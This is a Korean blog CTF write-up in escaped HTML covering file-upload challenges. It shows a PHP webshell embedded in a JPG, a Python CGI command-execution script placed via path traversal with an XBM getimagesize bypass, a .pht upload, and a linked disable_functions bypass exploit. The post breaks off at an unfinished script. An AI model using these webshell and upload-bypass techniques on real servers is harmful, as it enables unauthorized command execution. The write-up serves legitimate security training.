&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529; letter-spacing: 0px;&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;File download &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;자동화&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;스크립트를&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;짰다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;652&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/erHK8t/btreZ1ZjdVP/du08ZkYFktJREaRkuCZyXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/erHK8t/btreZ1ZjdVP/du08ZkYFktJREaRkuCZyXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/erHK8t/btreZ1ZjdVP/du08ZkYFktJREaRkuCZyXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FerHK8t%2FbtreZ1ZjdVP%2Fdu08ZkYFktJREaRkuCZyXK%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;652&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/duMFs3/btre5OdjWD8/sOdgkGHitBvExkj6e4hZSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/duMFs3/btre5OdjWD8/sOdgkGHitBvExkj6e4hZSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/duMFs3/btre5OdjWD8/sOdgkGHitBvExkj6e4hZSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FduMFs3%2Fbtre5OdjWD8%2FsOdgkGHitBvExkj6e4hZSk%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;lt;?=`$_GET[c]`?&amp;gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;가&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;담긴&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;jpg&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;를&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;업로드&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;그러면&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;나타난&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;시그니처&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;파일명&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;이&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;/uploads/ &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;디렉터리&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;밑에&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;저장되기&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;때문에&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;직접&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;접근하면&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;쉘을&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;얻을&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;수&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;있다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6QOpD/btreZ1kInA1/fS84MN8YafmrKVDCHJlQik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6QOpD/btreZ1kInA1/fS84MN8YafmrKVDCHJlQik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6QOpD/btreZ1kInA1/fS84MN8YafmrKVDCHJlQik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6QOpD%2FbtreZ1kInA1%2FfS84MN8YafmrKVDCHJlQik%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Imageflare v2&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞부분은 v1과 동일하다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b06z4X/btre34VvjcM/uEJWn4Lv7oU3nDV9yDb8W0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b06z4X/btre34VvjcM/uEJWn4Lv7oU3nDV9yDb8W0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b06z4X/btre34VvjcM/uEJWn4Lv7oU3nDV9yDb8W0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb06z4X%2Fbtre34VvjcM%2FuEJWn4Lv7oU3nDV9yDb8W0%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;으로&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;작성된&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;cgi&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;파일을&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;../cgi-bin/arang911.py&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;로&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;업로드하였다&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1631615691235&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3.6
import cgi
import os
print(&quot;Content-type: text/html;\n&quot;)
print(os.popen(&quot;ls -l /&quot;).read())
print(os.popen(&quot;cat /reveeeeeeeeeeenge_flag&quot;).read())
#define width 10000
#define height 10000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;624&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/loJWU/btre6CRf5T4/olEreuvF24SCSNxmDwEoTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/loJWU/btre6CRf5T4/olEreuvF24SCSNxmDwEoTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/loJWU/btre6CRf5T4/olEreuvF24SCSNxmDwEoTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FloJWU%2Fbtre6CRf5T4%2FolEreuvF24SCSNxmDwEoTK%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;624&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;#define&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;을&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;통해&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;xbm&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;은&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;image size&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;를&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;parsing&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;하기&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;때문에&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; getimagesize &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;우회된다&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;. (위 사진은 xbm을 파싱하는 php 소스코드)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drZuO1/btre1b8uQ7T/c7O78KvYq2dXTIM5zDRKWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drZuO1/btre1b8uQ7T/c7O78KvYq2dXTIM5zDRKWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drZuO1/btre1b8uQ7T/c7O78KvYq2dXTIM5zDRKWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrZuO1%2Fbtre1b8uQ7T%2Fc7O78KvYq2dXTIM5zDRKWK%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #212529;&quot;&gt;Realip&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;를&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;알아야&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;cloudflare &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;뒷단에&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;직접&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;접근이&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;가능한데&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;이는&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;span&gt;Sublist3r &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;도구를&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;통해&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;나오는&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;도메인으로&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;알게되었다&lt;/span&gt;&lt;span style=&quot;color: #212529;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9LU9I/btre5ORVAce/VpqSbYtBDsvevLHskzx7V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9LU9I/btre5ORVAce/VpqSbYtBDsvevLHskzx7V1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9LU9I/btre5ORVAce/VpqSbYtBDsvevLHskzx7V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9LU9I%2Fbtre5ORVAce%2FVpqSbYtBDsvevLHskzx7V1%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어쨌든 cgi로 임의 명령 실행이 가능하다&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;mudbox&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;346&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btp6gx/btre6D3Hp85/B3BXHFi3NskzS4AbnY0JS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btp6gx/btre6D3Hp85/B3BXHFi3NskzS4AbnY0JS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btp6gx/btre6D3Hp85/B3BXHFi3NskzS4AbnY0JS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtp6gx%2Fbtre6D3Hp85%2FB3BXHFi3NskzS4AbnY0JS0%2Fimg.png&quot; data-origin-width=&quot;533&quot; data-origin-height=&quot;346&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;pht&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가 뚫려있다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1337&quot; data-origin-height=&quot;903&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbYMLV/btreZ1Zj2T8/p4wyKQufF0MZoc8uVKNfC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbYMLV/btreZ1Zj2T8/p4wyKQufF0MZoc8uVKNfC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbYMLV/btreZ1Zj2T8/p4wyKQufF0MZoc8uVKNfC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbYMLV%2FbtreZ1Zj2T8%2Fp4wyKQufF0MZoc8uVKNfC0%2Fimg.png&quot; data-origin-width=&quot;1337&quot; data-origin-height=&quot;903&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;php&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;파일 만드는 친구를 올리고 실행&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;265&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdnfB6/btre1bUZ1hZ/MyFEL7TWTAUIHW6weos0kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdnfB6/btre1bUZ1hZ/MyFEL7TWTAUIHW6weos0kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdnfB6/btre1bUZ1hZ/MyFEL7TWTAUIHW6weos0kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdnfB6%2Fbtre1bUZ1hZ%2FMyFEL7TWTAUIHW6weos0kK%2Fimg.png&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;265&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;맘대로 실행할수 있는 &lt;span&gt;php&lt;/span&gt;가 생겼다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;589&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9zdOH/btre5OdkNVv/OR7kdwJPpyxuT13ikEfRmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9zdOH/btre5OdkNVv/OR7kdwJPpyxuT13ikEfRmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9zdOH/btre5OdkNVv/OR7kdwJPpyxuT13ikEfRmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9zdOH%2Fbtre5OdkNVv%2FOR7kdwJPpyxuT13ikEfRmk%2Fimg.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;589&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;disable_functions&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가 걸려있으니 우회하기 위해 &lt;span&gt;1day exploit&lt;/span&gt;을 찾아보면&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a href=&quot;https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php&quot;&gt;https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php&lt;/a&gt; 2020&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;년에 발견된게 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l7Ssv/btre5PpMRyv/tlqyezqWifnVbk1kzRckl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l7Ssv/btre5PpMRyv/tlqyezqWifnVbk1kzRckl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l7Ssv/btre5PpMRyv/tlqyezqWifnVbk1kzRckl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl7Ssv%2Fbtre5PpMRyv%2FtlqyezqWifnVbk1kzRckl1%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;현재 &lt;span&gt;php&lt;/span&gt;버전이 &lt;span&gt;7.2.24&lt;/span&gt;니까 &lt;span&gt;docker&lt;/span&gt;받아서 로컬테스트해보면 익스가 잘 되는것을 알 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1631616311584&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from arang import *
import re,sys,time

